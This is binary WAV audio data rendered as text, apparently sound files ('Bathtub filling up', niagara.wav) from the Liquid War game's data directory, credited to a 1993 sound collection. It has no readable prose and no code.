w~~u~y{{w|z|w}vzrw|z{}yz}z|x{{yro}yh{z~~oxytizxqqw}q~{}y~rwzwsz{~syqqj~n~y{{~wz{y}xx~~}{{|~|~|~tvx~~|x{wm{zuz{m~}xuww}ntny}~sv|xn}~|oy|{v~{_sv|sz|v|y}y}x}ir~~x~~{s{zuwwqu|suimxy{{}w}v|x}z{xw~||}g{zhuoy}{cvZTzk{vnvx|xz}xz~~u|{z~ww~y}yzp|yrw~nzwptw{z{s{w{y~z~y||{{tyouw{|t{yurz{y~}~~~yrv}urxz~pz{pqus~w}~wx{sy~|{vs}}{}t|}zi}~rwzvz{~tx{xwzo|~x|yx}}|{u~}w|u~uzvprw}r~ey}{|~u~zzy{zwzy}k~w~xwu{ykv|{}~~v~xs|vvy|z|r}ylz|zz}sz}z{y|r~wquqn~u~v~wupzq}uv|rr}GVsXrrgfudaogyuLxsouqoyn~|orzsumnr~yg{|tf~{uuz~uv}r}p~}w}wvo~v{xr|ry}{wxz~ox~mz~xz~}txrr}pttss{mmp{pt|xz~xu|qr|rvytyw{~wq}wr~tp}oy}y{t{tz|~wy{}|ryz}yu|x}uwquyzvzu}}xzuz{vny{{xy|{z~x|xxtty{xz}ru}xo{|x~ztvutqyus{~}vx}{x~xrzxt|~{swv{q}}}{|z{txv{}~ywz|}yz~yyw~zy}y}|s|tx~{|s}wp|szr~~v{qdw}i}xtz}tzzw|z~s~tvyo|}}{~x{~wxv~|~tv~v~{~v~uz|wx}w}wnoyw}zxrq|sxovv|{w~||{tx|{x||m|y|t{ux|}}sr}o|}z}}r|~xv~r|ut~tsrw||ojrxxv{t||~||xo{tnn{x|{}|~|z|}}w|}~{yuzjl{{{}lfm{os|}vr}~yuuy|t}~yyt}~wx~zrz{q~v||z{u{|~z{vz|}~{zww|~pu~}ryuqw}~}vyyvwp|oz{zw}{t}n~~nx~~|v}x{vnxqqv~yk}s|}rx{}}|~wz~|}sr|kxquur|wx~zx|v{~~}~y{~{q}~wz}t~nw}wtxtlptxrym|~wdy~w~v{v~~yq|z}rqwupyz{ry}~t{xyoermuy}}zoqtqz{o{~}w}urtzu}|yts{|s{{tswv~~xnys|}v~~{uxu~xy~vguv~}x~~zfz}~}v~z~z|zot|z~~wtq}p||rx|vz~{|u{z~{}~{r}uywmz}wys}|~xzz|tuuz{v~~l~yrz~s~}q}s}xs{{ut{s|~y~~xw~~vy{~|wuw|y{~xwz}~o~prx~}wz|m{~ztt{ytry||~sxzy{|||}~||v{zz~}|~y~~z{}yzty~yv~}x|{u|~~}zs~q}du~uu~}uuv|}}v{zxzzu{|i~}wxv|t~z||yu{kxxt}rw{uz|zqt}}t~{{}vuu}u}{utyoyy~}x~{t|s|ys}{~~z}w}z{t{|{{{}wuwxizsxsjmlu{k_c{ffuvw}zszy||s|yxzyx~zz{yys~zzuw{~x}xms{v~v}|u~|z~{}t{z|}{}~}y{tp{lzqnkqz}x{nkt{wsztvzwp|zsjs~wqrxyrzskp{yk{ouy{w{{wznx{~{vx|zt|zy}z~zwp}zyxoxwravzz}~xtrxq|v}}wzyuqryzs|U|^w_mhcdwbo}s}s}lnkmw|vz{nrxz{[z~rd|z}wzvxy{uozxyw|zqxzxn~z||sos}~cnnx{lmfuwpxrytwuuSvctgjz}}qta|rxy~yzv|s}zxyvlvt~ttr}w}{~ty}mvz}{}ut_zv}wxwsty|}surov~pp}}y{ywynr|~ysuv|q~o}{|ynxzpdiIy|kyo~ygrzw||unqy|rvyr}{{~|~}txj{m|x~u~n{}}zzu{z~y~{s~z}}{~rzz}}|n{|u~sz~suz|{{}{zstv~v{zrq}}mxtzy|yx|yyy}zvzy~gv|xw{yq}vr{yz|pww~}y{nyz}xwt||pypufqu~fp~~twu|xz{}n{{}w{y{|||}vx~}y{}~y}~u}}}v}v|y{}z{}}zz~|x~~|{z~|s~w}yso}~~w{|tzx~{u|}{txzv{{puw{z~xly||z}~x|{u~zzw}y~}}t|}{y~x{v||{y}{~}yzvzy{z|osx~k{wz|{}xy{~~y~qzpy~}~z}{{xvuy~|v|oukx`xtyvzzqoq{uyv~u{ur}zvxmr|tu}zxkx|yy|{~tzuyzz}}{w{}o~xyvv{|}~z{|zyzyryvsz{~z~|r{~wxryvo|~xyxw~{rwx~rvtnqz~ut{~|o{tw~spvv{~~y}tovxzvxx{vrrzo}yl}v|k~~px{u{uss~z~wxz~||~|w|wmz}y{sy~{~}t|xy{~{y~dp}wsy}~xzx|~|}z|eu{}zs}y~{v{|xyzz~}w|x|}{~y~y}yxx||o{zz~|x{w~xzzl{||~q~~t|y~sr{q{v~nu~lqtrz~~}yyz}~u~~}~ywxu}r~|x|}{}vyv~y|y~|}|zwz|||{su{xz}j|yo}x{xnsw{u}vvuz}{|{{euv{|]t|poZ\{re\smpzpww|u~y~}v}oz~|~~~zz}p{~~~zt{|us|y}yw~{~tww{}jut|txsuyyvjx|{|{{{|}kx|w}sk|{wt{w~x|uz~ttxvx}tusbz~lqq{{~~zsWos}yrwrypfsmzx|tvpmWcbjo~j||{}k}|o}~vuv|r}~vzzlyp{rvrqr^uruq~q|~ihzk|~xkwyxxzwtzu{opyzc{ww{{|w{}opi~uyv{vri|~vtu|{}f|wutqjx~tzzqyuqzt}isuy~usz|xx|zst{ow{w|}uyznnq|tw~opx{~qqmzyyyr{z{{o|{xovuwx}wkptzye|rxq}yzv~tv}|{wuyu{y}v~r||pwzzyevz~|xz~txp{y|xtxyx|w~t{s|q{~~zv|x~s~}||qy~}uytx~}y~qzzsu|t~np{~x~|z{s}x{~|m~||}{{~||z|r~}z}|z~wwyz{xz~y}w~uq{}s|{p{z|}~v}}{{}zy{~vxzzzxytz{zrmx{{xwyx}z~wz~x}xyztz{zztw|~{{}x}v}v{xv~z{}|sr}{~}~~vw{~|u~~z}zt}ww{y}{y}}~~v{~}}~zzyi|x~~s~}s~}|xytw{{|xxzwers|{~z{wo}~|sp|r{uuy}{r{||vwyosu~{vwx~}w~vx{}|x|}tss~tyxq~oRv|nuswxz{|y~ysuy||z|{tz}vzyppx~}~vyvzr~{{zu}yy|z{zvwzzyxwrzrww{oqv{|}~vywytubqwmz{rqwzr}{zznvrw}xyt|~{xuqrs{{v}x{~~~zwwv}{yuyw~r{xyyy|xvw|qym~aoy|hgyghntusr{|ysykqvzts|wzty~wom}l{r|wzpz}wjypt|}}|~o{|uyr}~vkrulnumv}rswPax~y\|svojsp|}tjyw|}jn|w~un~vztyq}~qys}txgp{}_}t{r{yxtx|t||yzuxyz~w|t}zx}{zuz{zw~w~zy~szzywr~}t|s}vw|ot{|}~ssr{r{ttvy{vz{rx}}w}s~woqz|wr|zz}}vvr|~zvz~}ryw|tqvv~xt~}wrytyuygwpq|x{wuywvwzt~|t{{ylywvqwsdypijtw{{~pnr}zsv|s||u~~}you~~pwyx{y_rnbow{xmcum}cUvs{yvukuiw{oq}v|}}sw|sl|n|zv~e}|xxo~y}}y~y~wz}~u~{uz{|{r}mu}{uo}zrz|gs}d}~uwqfcw{vi{{x|rnxyhpsyyvzus~|v{qv}owlso{nw}}rurq~vvyx|wi}qz|}{t}|}~v|a|}~{xqwxvss{|uroxy~~vmtzntzpwu|{yq|{{uzv~zrtuot|x{ss~yuis}xysxuvz{wzvv|{rpxz||~}vj|m~|~vt{|tpzz|xz{u~rquwv~{x|}}}}{}ty|yu{|{}|xzw~rt}y|t|{zvlrwru~z~xx{z{w||s~z}z}wulyuw}lzxz~|vx}vv}x|xwv}z|~|xty{|~|}xyt|}{}wv|~}y|yx~qyz{vts|{sz~x}pyxttz|zx}{}v|tzx|v{~ytyz{}|z|~z~s|xzvu~}zvz|uux}ww}y||~vvvzsy~u|yv|y~~{|~r{|tt{s{uysu~|z{~ywv}t||{wwx}~~|}z}~|}~~xt}x~~||{{~}|x~~nyu~xzt}{yuu}vu~}{~s|{xv~}t|s|~y{ceu~|{w{q~~||{~ym|~z}yx{xy{{v|y}x}smy}vtt}{|yxr{y}{|{vwxvsyyv|r|~lrz{|u~xyzz~}wy|{w}yx|~|w~}t{|v}~z{xwv|tow}xwvz~~y}u|{v|wxudmswtzsvssu~|tlv|{}}{y~vzr{{|zm|zzrryv}ptoq|z~|vzvx~w~|yv}x{z}||~wy}v|yv}v{yuyw~~yzi[^x]suspy~}x{~zu|sy{vwzz{}{}~r|zwwtyv|~zyi{tapym~pfi|yn{x}{ut}uw~}zqs{qtt|}u}rsqq}~zwz}vx}wx~|u{z{|x|}s{{z}u{}}yxr|w|{q}z{qvw~~zsxrv|{yz}uwox|xrvv}{vyvutzzuvyt~y{y}|y~y~vy~}|yz~~tqz|ryyuvzxuv|y|pyp}vo|shxi}qpwc|~|ou~pv{fr{{s~|qoo{sw{qy{ts~vx{z{yl~pyr|vqu}u{|qtsp~}{pzyrz}u~{u{t{x~yxwpx{xu|{}u~vs~|epy|tovvww}x}{u}|~~}z|u|x{z{wvxz}uv~~~t}~z~v~}y|{{zz{ry{~vz~tq}sxw||h~}zot}}quu|}sp{wq~x|mvzrqv|tuzwzuswxzz}sy}|vw{{w|}vz|z}w{y{wwv|~~~roxzrz|w|vr{z{}wuzy~xzyy~~zyxuq{vx}z|zyxvv|t~t{sxy}xt{{}|~}y~|~}x~yy|~~ywz~vvz{}|x{y}zr~xwvs|rt}ut}{xxy|yy~mrwrq~[sv~}x~w{}vts~w{xxpqyqz{zvzz~wrzywyw~uszyu|}nz|q{{|x{wzyy~x|}}oys}~}wv||{yx{{w~tvu{xz|sqv~wtx|uy{{~~}zk~yruu{|~|k}{|y{wuzs}vz|vx{}~}|uqsswv~|z|txvzytu{~}dnz~py~{x|ytzl|muv~tv||xzz{stw~vu{|~v|z~|oyr|}{us{{x~||}tvzvz{|y{syy~v}uzw|j}|vw}{~}|}zz{wwxy}~yzw{}tu||uz~~|s}rm{||}~}}t|xs}p}vqs}zv{q{zun}uru{x|z~quuzyxt~w{~}~s|o{|u~yxi}j|zvj~xvtwxu~{|}y~{xuqyz}~}zupxt}}~}u}|swos|zz}rzzp~}|wwvtw~~vwz{vyx~|w{m{}{}~zzvo|q}nz~||mvvk}~v|~surhzs~uozr~inxxvr~~su}tst}{sxi}ruts|zuzhv~~lp[wphMlw{~}rpypx~wqxqz}yxxz|r}uwl{}wvwywyu}{tyrx}sn|y}~pzyhqh{kw|yo|}zu}ng~|~w{hctueyyqpyvnznw|}|xvz|y~{fsqq}`vuo}}wn~zv~oypvvzxxtyxu|sxtpq~z{wrmqs{zsomx~~|svv{|{~yvwz}}~|yol~vx}|vws{l}p|or}jsqYg]rzwotnwnvk~yzs{{_vsznsp{or|uy{{~}v}{s|ulu{}xx|uyzvtonv}tkqwuqkw||xxusmy|wnznuz|zu|t}|~un{gw}}ytx}zyvw{zoy{xx{xxtlvvv|h|{z{kp{to}x~p|~styw||yr}m}{{|_|q|txsyxvzm{{{{~~zvwzv}~}~zywp~vx|wmlsq}|w{{qyv||~~xz~}y{}xy|~su{~x{~}}zqxyvy{~k|wwo{|v|xx}pouv}{{~~u{xxrs~{~|{{~{}i}{uxt}~{ut}}xtv~y{z|~}yxt}q}~m{|tmo}mz{qxv~yzlquz|ux}yzxzs|~~~vys~~wx|x|uz}xrz||wzyys|~~~~yz{wzus~x~}{xqrn}}xs|u|}{v|w}{{|}xtzrz{}yyy{{s|}}z}~yw}qyw{|u|vknspxzzyotr|xzz~q}}{un}nunppz|ytv~zty{{~t|{qvxyz~{y}tbpwvpdqzxvz|sw{}{u|k}}~ky~~{vx~u}ywrv~}|py}u}sz|{sy}~yu~{~}xw|||upnj}zz}|zkq}}pz}~t|rz}rpzimlssxzuz}{|v|}}w}{xny~~wwz{|x{|~~zyyy}rxuz|}z~{{|w{y~yzzq||}rr}{xzswz{|}yxztx}y~|zl}~uoyxx|~{|wk{~|wy{yx{~su{yyx{x}|{}~{~|}{wy}}rwxt~vzq~r|z{xzwr~{~yz|slbupdsmi[q{vZ~~tqx}px}w}~{{v{qq|{u|~y|~y}|~|xy~{~~}{{ry}}y|z~|s|}}v~vpyysvzvjzuyy~|~lo~sz}~ytu~|tv~p|x{ynwwzz}wvwl{{||xzu|~v}~v~~|xuyuzmuzz}w{t}zq}}{t|z}wy}}{{}yw}u~~x|~ov|vtv}{{~wr|vti||o{ryhs{}z}v~z{z{~zyyw{vz~{}zz{z{{xu}z}{}zw}nxt}p}r}{wowt~q~xx{x{zpqkx~j}x~s{k{rsxmxu|w~zx~}}~z|zzx|}}vun|svtvytqz{ztwz~}~vv~u{sz|{zvyu|po~}xxowyr}}~wzpv|yy~vxez~wn}{fki{lp]}dnrgq}|xxtknnv{vwyt}sr|szjZqwy}ny}uwx{~wi|zt~xx{z}|xvtmtz|wwnxfzz|rbhzyqd|qwqzpy~ws~{}u|}xvqvsumx{ywoy{moo}}rwvk]}orf~{ny}x|m}||v}p}~xw|zxzy|nxpzvz{}w}xp{|xv}~xyxrrus}n}re}o{kn~|n{r{xs}xy|s~z~u~yzvs|sux}z|}}qxwww}{q}{}u~y|~|}zx{|lyvx|zzr{}orxktyo}}v{{w}r}viw|oojyw|~{{|p|vY|hnt{}dxz~u_}p~p}uvpy~s|z{iyentwrqu}z~qus{|ux}xxzvzn}zozx{|q}|tx}{}}y{}rtwv{y}{}uv}zyq}r{zvqvvu~zn~~y~c}q}uyv}{wuz~t{x{~n|wyqynxx}zuwn{otz~t}p|{}ivzox|zyszwy~~w~w~{~q{}z~{x{uzu{vrrzuzvy{~~zwu{}|}u}xwvoruz}v}x}w{{_ysczz|zv~ztuux|xfkp}xxtz}~{zz|}yyuw|{}wt|w{v~{{v{nw~xzzxtts{{zz{|v}x~}{~}~tzwsxqlnwns{|lzxz~~vykp~xz}uytxzmz}x{r}mvvvutxxzryyz}x{xq|{|wso{tqkx{~zxwvzrx{mexv}ywxjlt}[bnp}am{}rwwyx}wnv~~zxvqrw||}owz|l{w{vz|u{yy|q{v~m|rx||wxrmwtvp|wf~}nts~wkxy}x}wsq{}z{tpvz~}m}w~w~{[}x|z{unqyu{|v~|}~w|{{x~yux}pzx}ww|zxorkx|z~{wnvswjzqdw}|zztstt||t{~u}xzw{r|{zyx}}}|{{~y~zrwzt|}|sxv}{}xxy|z}w{{{y~q~~y~xylvz|uu}qw{||~yxovs||z|m}}yz{~vvtx{z}}~}x}ytpwq{{~t|zxw~|zp~ywqvtzxtzzx}{yxz|q~~xuv}y|xv~ztztxmxwvswp{}u{~w~~v~z|~yz|~z~|yu~xds~z{lvz{wp~~xwullf|nhzws}_o~rzswyww}n}|n|ivyxo~osv~uz~~u{l~|{|z{~{|zyzx|w}x~wvsnxwvpxs{up{}|qt{yvvmzpytytwwvewq~|{~vwn{}zyzsy}ow|zsy|q~vtw|{{ww~xw~xwv|y|~rwv}x~o|x~}{~u}~rvvpx~v}sy{wmws|~~~~zz}xrv~}{z{~zu}y|y|~v|ys}v~oxux{}ysp}z~|~vlw~}s{{|tv|~{qnitoprxzkt|yz}z|zvqsw~z}}}yx}{{~zv}rwnx|vsvv~~{}~~yvvz}~rzx|zzmy}wulso|{~|}|xw{x{z}rz{wwq|~}}{||}~~x~||v~~{}~~xvv}|wt|{ymrx{t{{nu{}}}|z}|~|~|z}|w~~~~}~~}xv~r|}y~|vvr|{yv}z|w}|z~}{}xuwz~}|z{uyy~{~zz{~~{}{wxw{y{~y}xy|{yy||}|~}}wu~|}~}|}{vu}y}twx}ystw}}{qxx}~wyz}z{yz|w{}zzw|{x~~{w{x~~~~twyz}~~~}}|{s}s}}~xss{zqz}tzvyw~v|uw}ws~~||x}~|z|y}z||tv}|y|{}}{z}wy}|v}|{vxw|s|~|uwyr}|~x||xz}o||{t}v~ylxr{~}t}z{~|y|xx~~x}~}~t}x{yx~~tpy}v{~wx{ws~~~~lyzykrsg}nr|~}up~~~y|z|z~{{|w|}~}z|}}x}w~|wvx~{}{|~}zpx}r{y~pm{u}~pzmojw||t}w{~~zuxv{x|{}~u{p}{~hyvMgw[gsywu|~{~xzz{v~~zyzwx}{zpx{u}~~tx{cno{m~xf{wuux~}||~||u~x~txzt|wuqvwv~|sxo||i}Yw~ktyuwu|up}o{{r~swr~z{xxxr|sww~{~}z~z}x{{v}{urwys}w{ssy~wvtzszzz|~r}x}q{s|~tlr~}ny{y{|~qruv}~{xzyw}|w{zy|}qxx~wwqyn~~{{}q{yww{z{}~z~|{}sy}t~~}z{x|{~~x~yywz~wwvysvsSqf{[tmox~{zt{~~x|zv|xzw~}}x{yx}~y~z~~~z|yz~||}zz{z{}|zz|t|}}syjtu{ww{~nx|~w~~}w|y{wzz~zy~yt{sxx~{|zxz~}~|{{zxx}|zzz{}z}}vt~|~t~{z|~|u~}u~{~yz~{~||zy}~}||{vz{{|xv}|{yyyw{}}}~|}uxxwy|v~|vtxuxxy|ywyz}~yz{wy||yy|~{up{|}~~z~z|yrw}|{}||~x|~~{{}|z{}~{{|{}}}~}yyz|}}yyy{x}~|~z{|z{}|{}~}|}z~{~||{v}|{}vx{}|~~}|~{}||}~~~z~~~~~{|}~||~|{~|{}~qu~trsz~{y{xxxw|{{zu~{}}|{|{}~y{~z~|~{z}~|~v~w{zy}}{~{{z}}{~}~{{y|{}x~|}~{}w{~{|~z|z}|w{z~|{{y|{}{z{{{z~~{zu}|{|y}~}|}~xxw{~}zxz{{y|u}}u{~{y||}{y~~||}yz}|~}z~~|}~z~{z~|~}}zzz|~{|}~}{{~}~{}{~||zu~y}}z~~}~}{}|~z|yx|~xz~~~}|z}|{wzz~}y|{}|{~||}|zz}w|{z}~}|x{y|}||}~}}w~}|z{u}~~|}~|~y{~z|yz~~{|z|~~}~}}z~|}~|}{~{~|}~~{z|{y~~~z|~~||z}~~~~}}y~~~||~}||~||z||~~z~}|{w~~|x|~}|}|}~|~~|~~~}}~~}||w||z|~|{~}~||~|}}~|~~|~}{}~~|~~~~~~}||~|yv}z}~|~~{}~~~~}~~~}~}~~|~~~~{x~}~}{}x||}~}{|}}~~}}}yx~z}}}|{~~}z}~~{}~~}~||{~~}|~~}}~}~~~|}~~}}}}}~~}}~}|x|~{~~}~~~|}~~~{~~}~|}z}|~~|z{|~|}}~~|{z~}||~~~|}{~~z~{{~}~}}{~{}}~~z{~||||}|u~{|}~|z}~~~{z~~}~z~}~~~{z}~~}~}|z}~}~~~~~||}}||}}|~~|}~~|~|~y}|~{~|~|}|{|~~}}~}~~~}~~~}|}}}~|~~~~~~}~{~~}~}~}}}~}~~~~|~}}~~}~~}}}~~|~}}~~~}~~~~~}~~~}}~~~}~}}~~}~~~~~}}~}~~~|~}~~~~}~~~~~}}|~|~}~~~~~~~~~|~}~}~~~~~~~|}~}~~~~~~~~~~~~~~~~~~~~}~~~}~~~~~~~}~~~~~~~~~~}~~~~~~~~~~~~}~~~~~~~~~~~~~}~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~DISPl( """"""""""""""""""""""""""wwqwwqwwqwpqfafawwqfafawwqwwqfafawwqfafawwqwwwwwwwwwwwwwwfawwwwww~fawwww~wwwwfawwwwfaw~wwwqwww~興ww~興www興wDISPBathtub filling upLISThINFOISBJ\Around the House 1993 Interactive Publishing Corporation. All rights reserved.liquidwar-5.6.5/data/water/niagara.wav0000664000372000037200000015525413407756104017331 0ustar travistravisRIFFWAVEfmt ++dataU~~~~~~~~~~~~~~~~~~~~~~}~}}~~~~~~~~}}~~~}~~~}~}|}~~}}~~~~~~}|}~~}}|~~~~~~~~~}~~|}~~~~~}~}|}}{zz}~||||}~~}~~||~||~|z|}~}}~~}~}z{~~~~~}}~~zy~|{|~|~}z|}}|{}|~~~~|||}}~}y{}|}{zy|~~~~z{~~}|{z~~}{{}}~}|{{}}{}ywz~~~~}}zx|~|||~~|||~~|{zz|}}~~~~}{|~}|~~zz~zywx{|~|~~}}~~}|zyzz~ysw{y{|yx|~~}|{||}}}}|~~}|}yy{~{~~~{}}{|{}~z{||y{}}|z{ztw~|~|{{}}|vvz~}}z~ysv~}x{yzvuy||z}{zyy|~z|}}}~|z}~{xv}x{}}~}}x{}}~xv||yxz}{yx}{x~}zz{|ww|{}y~wv~|}|u||xx{z~y|yv|{y~y}w{||yxw|uuy~~|uw}~~xyyxw||x}~zsv|}z{s|xuz|y~}wvy}{vx}}wt~uuxyx{{|y}|uqnu~{~zz{xyuy{}zz|vyvvqmry}~|}|}~y~yz}}~yyz}~|zywx{~|~z{|x{zx}}|}{}|{}}snssrvyu{}}yvxw}{tvmozz~w~|zzuqtux|tu}{}qt{~yy{{|{z{s~}||}wx~zzw}}~~{~wx~}zyz}~vx{~{uz{vx{y~zz{z{xs{||z}yqtyzztmx}|{yuumky~}}|{smy~xmx{x~}}yv|}{xunjn{{utytwyw~t~v{~zusyvzzvutw}qy}|zxw}zg_dx{vxxy}sy~w}lpxt{~{pz|kq{}xqtqq~~z|qu}{z~~zuss{zu|~{~zz|uu{w~x{ptwy{}|~xxqt~{_Zo|~yzy|sily}~x~xro}}{prz|{{lozwt|}yyqzyolkilz|sv|~}wv~}yrulvrz}rtv~|{xkhr~{vup}ytwx~~|yz}|ogj}{wprypztknx~xpzvqszvunqxplklwpr~xtkaj}|z{r`^m|qyvv}s{sjt}{wxm{~wtltytw~vpwzypjr{zqenuky~{}yonwjacsvqu}rj}imxxmv{p|wpuy|ywnju|}yzqqy}vy~}}w~{z}w~~{vtmnw|v{}trsuuwy||rjm~}z|zltyrunpxfXg{u{xlr|xwtyzjdku}necwws||wupwzwyot}|tm`^fn{phs}i`ns~z~wywtvq{|ps}k]ex~vaat{inss}qwltz~ww}sjtppwxsoossztmem~tbnznjywWcwzvnovpuv{zvrsy~}}|ypzy~rxy|ujgj|{~}utupomsvungzux~qmepy}t~q{{wwzzrdkysypty}gWgvZOdr~vu_Xt~lk{}pr~q|yrzty}n]qvfosb\lysnh{wbeyuyw{kbon_avvhurjtsiuxfmssl}vbquv}}ptvzm}koy{}~t|}vW[rx}|ywl^fv}r|yt\d`Yq~ws|vsymdelzzr|}z|}{udhxn`wvt|t^_dn~{~rmsugZm|q}xte]{|t{v`TKaxq|uw_Vhozsm{{~ihynmhxqemokjxuyygfxny~}t]\{hgsb\_l}u[Xquo~to{xlvhcuymxreav}yxmf{yiaprmkps~ymdXSb~}dVdypnzzsVWmrttqqwy}vu}~h|n\[jzlouzugr~ywtlqx|n]Xo{pev|ysqeoyxqxwoq}bhilvxytnsupzuz}jw~|pf\ay{|gcu~w~ih|~uzymyw|xs~yuwhQmxp|{psyvxzl`acdqw{}lfjy}zrajw~o^n{lmokv~rpmoozrxx{[Usbbkyhjturlo|ylfc`_g}wrl}{vruzps{u\oxqpmj~tmyS_m[t{bso^r}~^c{g[}~}f[|wbaogewrvyvn{qlu}kfkiiwxwgjyrq\[_{}|wi~}ontonlx}tzv}uvptng{kTDizurzncexvstzok~pN]qhrfz|rsomZ]oqpsiemxpj}kqvqqsplxa\}galf^pūtt{f[gZY_]zc{x}xi|{yup\V]|nt{q`IPmxa\ɴkRXt~p\dk}lqxbPbu~~mw}ia\hqhd_tqzw}d~qgHYxutzij[^}o_{ns|u{w}wxpkxtWPf[_fzzy~aodYsssdewyt~i\}xvyhmmefgJgkYbUZmn|rur~zlZ]wp|zrs{binS<=UWcuz{xn_TGAeȽxtqh}t|uqpop}zwv}snr}`V`[OsbMcwƯgzz^epoLXXk~pcutiq~jdsrqnmz|gp}vtrwbv{czy[[thzzqxh`vfZjpisrwh~hT\cy|bkfG[w{YLXakx~yx`ouz|~ot]Otliacd{xpVWymFXrslhinv\42ezykcSYYbjACrY]z:9Swjv{xxckqnfZevyqx}xpoz{^[àbak{tnq^fYVW@\ym{myzukspledE>Vqzb[ceglidlzoJcvx[bs}zvaWM5B`xpk|mzzxomsyve|s|}gQJlwshtɥ}|f{x}xsok\`X`{}tb^Vv~rysyxyonsztwmvf:E_}vsi|Q>fnfpzuhw~|j^oiRNo|gcUrkyrmhg~t~v`d|}vMHxs|uOTlbebglap|wpowqYLauhb]ɫttbtcWkwvvf`qXriapxcS`|{gmckyxLD[xwtqws|_f|{hqshflWYsWexyYmzcS[V]{qPxj}waSHLmcqqpxgGgYznVLOdyid}r_[kfDCZgg|nyq{tcoj\sfdz_mua[dw{uX\nubpmZMYs{v~ogYax}edx|imw`Z`[xrRN^W`xvpynk}tzưaRUXWq}dZvyuWHA]xduog}\Otɭ_\K08Towekvnz}rg\a{low|XW^:Sfqte\rjIRy{nN=5\ZR|dbnrz~mixaPC=K\WvpzxiNTSyzz{}~{GKr|sgjz~dmXNQCJdp±}WWmdj}xvw{{hdF^qzqT]v{vtdp{~p\z{|hbwwffx}xpy}iglas{zkqyut|kyvcm{nvz}ok~qK\~|jjVRVehacd}h~tdmwzt`dxe`cH_uak|Ȯyxmonysur{u^WsdljdbnxwPRmxZKWaolopokgwt~qZ[jyfl}u{|X_{ss~jNmzyws{{~sTcZVro]kbhz~~r|nv`[_qпrmk]Xtw|qupp{pzqxwncky}gSw|Y_x\MUplum~i{eX\n}qx{o}F9@Q`ngGQsj~kotP`ymZLAJap_qlXIMjSzmcy{jfR\}ta\l~oUVqcfyvx[Ie|fty{~m[}kb{~~`jureZlkslc~SR{qirR6>vk_]THWŨ{WSVow~nyzaSsbry|t\u|aYMor_zwpfZrwyak{trp{yxqfI8B^\~szollx~}{etr{racopx{]csjkgc[|}{cut{uK`pZtim~~~}k~cp~g[]uhbyxacvgqysghqyv{wi_bxocxmfd`tmbqnyն\FIG?hsvde|t\Smpkgw~z~jlzebcwyYSWzrbH=Wogo}ejkZUo}_yhcfkmykVvխvvyxtmnaPWogCAph_r}xZjm}x^`em~~h\^|ursrvlf\jvnWPsw{zp~p[QZ|}~gRnĸ|ogwm?R~uikt{pw~pwpdj{|nu~popjuxzequlrtm}oy`^wi^l`=oduxv{pey|nquzvfixptmzit{Z_kousgicotqop~lgmjQt~mzwsgYwpLXr|hb{vmcijo~o]awv~|wnkv}rb~ujsxx{wm]tsmvaQYk~~o~{r~fyr`Jeyaga[ejbsWhvq^R\yu|zp}xK?Upmszsrl{}T>XhiZTltxzkv{gnlr}p_SQl}vai{}a\WKYvv}~chuqSJhtyyviF,Nuou~qdx|fZMB`z}~oivdeyckwookZLXuvqpthdy[Rhksuyysqyd`sqlophwxri\qghqwyrkstdqtfYokaw~uttovtZSY_qtv^Yyidz}89i||qts_cIV^P]yǻ{ulS6ar|wf_`]d{knsxKfswuuknwfVGSti\ssmxi}}pU:Prn~webuUA[{aZZPSbx{ov~r~s|kQY\YZkZQe~lylMZmkʬtma_RL[lqwxzzu~xo]f{xvwziWU^TZtyza_npsYp~k~{iuwYo}m[ys^ZYjrjim|yvzlu``yy}}gZU[mmk}{usdcvwtqi\do}pzedjvlvyxvwlxtdUMLSdrs{yu[Nvwjd}j~q\NR^tzlahen_iuutgn~nvnO`uatwsnj~vU~{sNS{l_ntfbnviotslp{{ujnz|jSax{~wl]ajU]lqz}~~{}xv{yyvtPH]y|yr|ZJ[sry|putywogv|ivSLZxqwoMkl`xx~{qznnTobTgx~xskZaz~bgxywhkV>cu}xkPJ6*Bkwxm}}x~WKbqfj_P_SOtuhz½~|}gtywo{ob]{{}kdfew^pSYprnT4abLavuXNBkpy}kMLc`Wftytumg|v}~wrl_E;Pnsx{ec|~yspwxplSL|~X_o|s[^VUZz~kRnvk[qzoknrqmYl\=U~[D[]muUYhWkwqw~kmqIY}}jxµp`CLgdFFhmJO_to\~rh[uqR[uhSkhSUend~io`fxljsxxcBLp{ssq]ieyaQovw}~dWgq}z}yeG;^mtuli~pokti]u~}wsrwc|aWip{ywo]qc^Z[`}yz~{dfqrfqgeoKI[yrbj~lUN`t~m^}csz{|yzZIxgmztch{}sv|rj[a~{|}wqgk{y~[Xzpaz}klnbmevq`vlqju[Z}wkng|}qfWOoxxzZxbKRfjfcgqxuzfPPWf}˽vjityYrv~sfP7Hsx|pzra}zi}{xwfkqP_z^Kb{\[exosxeNSm]anir~vhpt\ihzuu|qyy}lavR?_updp{tkz|xdimrw[]WZRaUS~~|oxmZjrknwzxg]ewltjPb}ss}zuuhc{{mtmRYygay}zwsx_e~|}rxmbu~tzj_\vysjZdoc]ssĪwRIVzvmji}{ij~y{{eepmknfr|jHhxglv[ds]LO_Xklfuryk]Xypp{sklnwu{ss~ngsŪz}iumnhR^}}kurrgP[ssomt{qwvpXvzVW`iw]Mekl|SU|vvkvqvjcl{tis~}sth^xcfihyo^Tnmf~w}i{ijotltiWjyncK5[x@?RT[_emwj`[SB5L~vqYHd~td_zo{|~oYkWE[u|}omjvqqrjnZ=Y{lk~vxj^I1`fiqjUU{vzkPEFTqldmpdi~vwkYXhr}wsUZuXLY}}vnxqyjpv|{tpdjZqxkit}kglku~zrFMwwviaavw~r{ha^o|i{|y`>L~wxve_vxkl~rnplf]`v}|yotkWsypzfS{h{ovdrfi_MTjnr_]p[eoru|j^QRLJ^su}|hhu}{ziPy}z~[EWsŰ}]Qkz~sfVJf~lYdxth{}jdW;PnbtvrnojGInPInbk{tl{^LObv{dbrkct}s|oj}zl}ztzktotzlivwqtzpk]J>_~vaåtywstmdlhKSn}r~mXJ[i{ss|qiu}{~w̟srr|rie]cj~vwxndXbqr~bmzitu]hnfhe~qukjWZ}mq|LV~x{{s`v|upn|mvz`mqY^en]DNr}vKQhzsev{ql_zmri|rn||}rmfo^TWVH7H_y}~zoJGLXk[Zq}mzruz}{o~oxrh[ppQ\TZzu|~|g_Qjx^uiTNVFJTPfxvv}yoas{qgh~vgsh\VX:EEDh|x\WYpbgyry|mjUK^{|lq|nz}{p}QFUU`wh[h|nst\[i}xmdlvtcc{wwwms]VRg{ivte[pvswgG]yk{q|_ZUhzvp|xotmstkD9oYokt~wi[fqbq}w~ulv¹~aNDIadDDlos|